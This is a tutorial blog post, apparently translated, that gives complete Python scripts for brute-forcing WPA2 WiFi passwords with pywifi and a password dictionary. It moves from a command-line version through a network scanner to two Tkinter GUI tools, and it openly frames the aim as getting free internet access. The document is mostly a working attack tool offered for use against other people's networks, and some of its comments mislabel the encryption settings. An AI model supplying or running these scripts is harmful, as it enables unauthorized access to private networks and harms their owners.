Introduction#
This article will document how to achieve WiFi password brute-forcing through a Python script, thereby enabling free internet access.
No Graphical Interface#
Let's first take a look at the brute-force script without a graphical interface.
WiFi brute-forcing, no nonsense, let's get straight to the code. Beginners who don't understand can copy the code into ChatGPT and ask it to explain it line by line.
import pywifi
from pywifi import const
import time
import datetime
# Test connection and return connection result
def wifiConnect(pwd):
# Capture network card interface
wifi = pywifi.PyWiFi()
# Get the first wireless network card
ifaces = wifi.interfaces()[0]
# Disconnect all connections
ifaces.disconnect()
time.sleep(1)
wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
# Create WiFi connection profile
profile = pywifi.Profile()
# Name of the WiFi to connect
profile.ssid = "Tr0e"
# Open status of the network card
profile.auth = const.AUTH_ALG_OPEN
# WiFi encryption algorithm, generally WiFi encryption algorithm is WPS
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# Encryption unit
profile.cipher = const.CIPHER_TYPE_CCMP
# Call password
profile.key = pwd
# Delete all previously connected WiFi profiles
ifaces.remove_all_network_profiles()
# Set new connection profile
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
# WiFi connection time
time.sleep(2)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("Already connected to WiFi")
# Read password book
def readPassword():
success = False
print("****************** WIFI Brute-Force ******************")
# Path to password book
path = "pwd.txt"
# Open file
file = open(path, "r")
start = datetime.datetime.now()
while True:
try:
pwd = file.readline()
# Remove the trailing newline character from the password
pwd = pwd.strip('\n')
bool = wifiConnect(pwd)
if bool:
print("[*] Password cracked: ", pwd)
print("[*] WiFi connected automatically!!!")
success = True
break
else:
# Exit current loop and proceed to the next iteration
print("Attempting to crack the WiFi password for SSID %s, currently checking password: %s" % ("Tr0e", pwd))
except:
continue
end = datetime.datetime.now()
if(success):
print("[*] Total time taken to crack the WiFi password: {}".format(end - start))
else:
print("[*] Unfortunately, we couldn't help you crack the specified WiFi password. Please change the password dictionary and try again!")
exit(0)
if __name__=="__main__":
readPassword()
Code execution effect:
Script Optimization
The above script requires hardcoding the WiFi name and brute-force dictionary path, lacking flexibility. Let's proceed with the modifications:
import pywifi
import time
from pywifi import const
# WiFi scanning module
def wifi_scan():
# Initialize WiFi
wifi = pywifi.PyWiFi()
# Use the first wireless network card
interface = wifi.interfaces()[0]
# Start scanning
interface.scan()
for i in range(4):
time.sleep(1)
print('\rScanning for available WiFi, please wait... (' + str(3 - i), end=')')
print('\rScan complete!\n' + '-' * 38)
print('\r{:4}{:6}{}'.format('No.', 'Signal Strength', 'WiFi Name'))
# Scan results, scan_results() returns a collection containing each WiFi object
bss = interface.scan_results()
# Set to store WiFi names
wifi_name_set = set()
for w in bss:
# Resolve garbled characters
wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
wifi_name_set.add(wifi_name_and_signal)
# Store in a list and sort by signal
wifi_name_list = list(wifi_name_set)
wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
num = 0
# Format output
while num < len(wifi_name_list):
print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
num += 1
print('-' * 38)
# Return WiFi list
return wifi_name_list
# WiFi cracking module
def wifi_password_crack(wifi_name):
# Dictionary path
wifi_dic_path = input("Please enter the local path for the password dictionary used for WiFi brute-forcing (txt format, one password per line): ")
with open(wifi_dic_path, 'r') as f:
# Iterate through passwords
for pwd in f:
# Remove the trailing newline character from the password
pwd = pwd.strip('\n')
# Create WiFi object
wifi = pywifi.PyWiFi()
# Create network card object, using the first WiFi network card
interface = wifi.interfaces()[0]
# Disconnect all WiFi connections
interface.disconnect()
# Wait for it to disconnect
while interface.status() == 4:
# Wait for it to disconnect while it is connected
pass
# Create connection profile (object)
profile = pywifi.Profile()
# WiFi name
profile.ssid = wifi_name
# Requires authentication
profile.auth = const.AUTH_ALG_OPEN
# Default WiFi encryption algorithm
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
# WiFi password
profile.key = pwd
# Delete all WiFi connection profiles
interface.remove_all_network_profiles()
# Set new WiFi connection profile
tmp_profile = interface.add_network_profile(profile)
# Start attempting to connect
interface.connect(tmp_profile)
start_time = time.time()
while time.time() - start_time < 1.5:
# Status 4 indicates successful connection (if the attempt time exceeds 1.5 seconds, it is an incorrect password; tests show that correct passwords generally connect within 1.5 seconds; to improve accuracy, it can be set to 2 seconds or more, but the brute-force speed will slow down accordingly)
if interface.status() == 4:
print(f'\rConnection successful! Password is: {pwd}')
exit(0)
else:
print(f'\rAttempting to crack using password {pwd}.', end='')
# Main function
def main():
# Exit flag
exit_flag = 0
# Target number
target_num = -1
while not exit_flag:
try:
print('WiFi Universal Key'.center(35, '-'))
# Call scanning module, return a sorted WiFi list
wifi_list = wifi_scan()
# Let the user choose the WiFi number to crack, and validate user input
choose_exit_flag = 0
while not choose_exit_flag:
try:
target_num = int(input('Please select the WiFi you want to attempt to crack: '))
# If the selected WiFi number is within the list, continue to the second check, otherwise re-enter
if target_num in range(len(wifi_list)):
# Second confirmation
while not choose_exit_flag:
try:
choose = str(input(f'You selected the WiFi name: {wifi_list[target_num][1]}, are you sure? (Y/N)'))
# Process user input to lowercase and validate
if choose.lower() == 'y':
choose_exit_flag = 1
elif choose.lower() == 'n':
break
# Handle other letter inputs from the user
else:
print('You can only enter Y/N o(* ̄︶ ̄*)o')
# Handle non-letter user input
except ValueError:
print('You can only enter Y/N o(* ̄︶ ̄*)o')
# Exit cracking
if choose_exit_flag == 1:
break
else:
print('Please re-enter (*^▽^*)')
except ValueError:
print('You can only enter numbers o(* ̄︶ ̄*)o')
# Password cracking, passing in the user-selected WiFi name
wifi_password_crack(wifi_list[target_num][1])
print('-' * 38)
exit_flag = 1
except Exception as e:
print(e)
raise e
if __name__ == '__main__':
main()
The above code enumerates all nearby WiFi names based on signal strength, allowing users to choose which WiFi to brute-force, while also flexibly specifying the brute-force dictionary, significantly improving the user experience. Furthermore, the above script can be packaged into an exe file, and the effect of double-clicking to run is as follows:
Graphical Interface#
Next, we will optimize the above script based on Python's GUI development library Tkinter to create a user-friendly visual WiFi brute-forcing tool. For syntax related to the Tkinter library, please refer to: Python GUI Programming (Tkinter).
Simple UI
from tkinter import *
from pywifi import const
import pywifi
import time
# Main steps:
# 1. Get the first wireless network card
# 2. Disconnect all WiFi
# 3. Read the password book
# 4. Set sleep time
def wificonnect(str, wifiname):
# Window WiFi object
wifi = pywifi.PyWiFi()
# Capture the first wireless network card
ifaces = wifi.interfaces()[0]
# Disconnect all WiFi
ifaces.disconnect()
time.sleep(1)
if ifaces.status() == const.IFACE_DISCONNECTED:
# Create WiFi connection profile
profile = pywifi.Profile()
profile.ssid = wifiname
# WiFi encryption algorithm
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# WiFi password
profile.key = str
# Open status of the network card
profile.auth = const.AUTH_ALG_OPEN
# Encryption unit, need to write some encryption unit here to connect
profile.cipher = const.CIPHER_TYPE_CCMP
# Delete all WiFi profiles
ifaces.remove_all_network_profiles()
# Set new connection profile
tep_profile = ifaces.add_network_profile(profile)
# Connect
ifaces.connect(tep_profile)
time.sleep(3)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
def readPwd():
# Get WiFi name
wifiname = entry.get().strip()
path = r'./pwd.txt'
file = open(path, 'r')
while True:
try:
# Read
mystr = file.readline().strip()
# Test connection
bool = wificonnect(mystr, wifiname)
if bool:
text.insert(END, 'Password correct: ' + mystr)
text.see(END)
text.update()
file.close()
break
else:
text.insert(END, 'Password incorrect: ' + mystr)
text.see(END)
text.update()
except:
continue
# Create window
root = Tk()
root.title('WiFi Cracking')
root.geometry('500x400')
# Label
label = Label(root, text='Enter the WiFi name to crack:')
# Positioning
label.grid()
# Input control
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
# List control
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
# Button
button = Button(root, text='Start Cracking', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
# Show window
root.mainloop()
Script execution effect:
UI Upgraded Version#
The above graphical interface does not allow for selecting the password dictionary, so let's optimize and upgrade it:
from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog # Open file dialog in GUI
import tkinter.messagebox # Open Tkinter message box
class MY_GUI():
def __init__(self, init_window_name):
self.init_window_name = init_window_name
# Password file path
self.get_value = StringVar() # Set variable content
# Get cracked WiFi account
self.get_wifi_value = StringVar()
# Get WiFi password
self.get_wifimm_value = StringVar()
# Capture network card interface
self.wifi = pywifi.PyWiFi()
# Capture the first wireless network card
self.iface = self.wifi.interfaces()[0]
# Test link to disconnect all links
self.iface.disconnect()
time.sleep(1) # Sleep for 1 second
# Test if the network card is in a disconnected state
assert self.iface.status() in \
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def __str__(self):
# Automatically called function, returns the network card itself
return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
# Set window
def set_init_window(self):
self.init_window_name.title("WIFI Cracking Tool")
self.init_window_name.geometry('+500+200')
labelframe = LabelFrame(width=400, height=200, text="Configuration") # Frame, the following objects are added to the labelframe
labelframe.grid(column=0, row=0, padx=10, pady=10)
self.search = Button(labelframe, text="Search Nearby WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
self.pojie = Button(labelframe, text="Start Cracking", command=self.readPassWord).grid(column=1, row=0)
self.label = Label(labelframe, text="Directory Path:").grid(column=0, row=1)
self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
self.file = Button(labelframe, text="Add Password File Directory", command=self.add_mm_file).grid(column=2, row=1)
self.wifi_text = Label(labelframe, text="WiFi Account:").grid(column=0, row=2)
self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
self.wifi_mm_text = Label(labelframe, text="WiFi Password:").grid(column=2, row=2)
self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2, sticky=W)
self.wifi_labelframe = LabelFrame(text="WiFi List")
self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
# Define tree structure and scrollbar
self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
self.wifi_tree.configure(yscrollcommand=self.vbar.set)
# Table headers
self.wifi_tree.column("a", width=50, anchor="center")
self.wifi_tree.column("b", width=100, anchor="center")
self.wifi_tree.column("c", width=100, anchor="center")
self.wifi_tree.column("d", width=100, anchor="center")
self.wifi_tree.heading("a", text="WiFi ID")
self.wifi_tree.heading("b", text="SSID")
self.wifi_tree.heading("c", text="BSSID")
self.wifi_tree.heading("d", text="Signal")
self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
self.wifi_tree.bind("<Double-1>", self.onDBClick)
self.vbar.grid(row=4, column=1, sticky=NS)
# Search WiFi
def scans_wifi_list(self): # Scan surrounding WiFi list
# Start scanning
print("^_^ Starting to scan nearby WiFi...")
self.iface.scan()
time.sleep(15)
# Get scan results after several seconds
scanres = self.iface.scan_results()
# Count the number of hotspots discovered nearby
nums = len(scanres)
print("Count: %s" % (nums))
# Actual data
self.show_scans_wifi_list(scanres)
return scanres
# Display WiFi list
def show_scans_wifi_list(self, scans_res):
for index, wifi_info in enumerate(scans_res):
self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
# Add password file directory
def add_mm_file(self):
self.filename = tkinter.filedialog.askopenfilename()
self.get_value.set(self.filename)
# Treeview binding event
def onDBClick(self, event):
self.sels = event.widget.selection()
self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
# Read password dictionary and match
def readPassWord(self):
self.getFilePath = self.get_value.get()
self.get_wifissid = self.get_wifi_value.get()
pwdfilehander = open(self.getFilePath, "r", errors="ignore")
while True:
try:
self.pwdStr = pwdfilehander.readline()
if not self.pwdStr:
break
self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
if self.bool1:
self.res = "[*] Password correct! WiFi name: %s, matched password: %s " % (self.get_wifissid, self.pwdStr)
self.get_wifimm_value.set(self.pwdStr)
tkinter.messagebox.showinfo('Tip', 'Cracking successful!!!')
print(self.res)
break
else:
self.res = "[*] Password incorrect! WiFi name: %s, matched password: %s" % (self.get_wifissid, self.pwdStr)
print(self.res)
time.sleep(3)
except:
continue
# Match WiFi and password
def connect(self, pwd_Str, wifi_ssid):
# Create WiFi connection profile
self.profile = pywifi.Profile()
self.profile.ssid = wifi_ssid # WiFi name
self.profile.auth = const.AUTH_ALG_OPEN # Open status of the network card
self.profile.akm.append(const.AKM_TYPE_WPA2PSK) # WiFi encryption algorithm
self.profile.cipher = const.CIPHER_TYPE_CCMP # Encryption unit
self.profile.key = pwd_Str # Password
self.iface.remove_all_network_profiles() # Delete all WiFi profiles
self.tmp_profile = self.iface.add_network_profile(self.profile) # Set new connection profile
self.iface.connect(self.tmp_profile) # Connect
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: # Check if connected
isOK = True
else:
isOK = False
self.iface.disconnect() # Disconnect
time.sleep(1)
# Check disconnection status
assert self.iface.status() in \
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
def gui_start():
init_window = Tk()
ui = MY_GUI(init_window)
print(ui)
ui.set_init_window()
init_window.mainloop()
if __name__ == "__main__":
gui_start()
The script execution effect is as follows:
The above is based on Python's GUI development library Tkinter. In fact, Python's GUI programming can also leverage PyQt5 to automatically generate UI code.
Summary
This article learned about methods for brute-forcing WiFi passwords using Python, as well as the basic usage of Python GUI programming. The demonstrated code has the drawback of not using multithreading for WiFi connection testing. In fact, since WiFi connection testing requires a certain amount of time (3-5 seconds), using multithreading can reduce the waiting time during the brute-forcing process.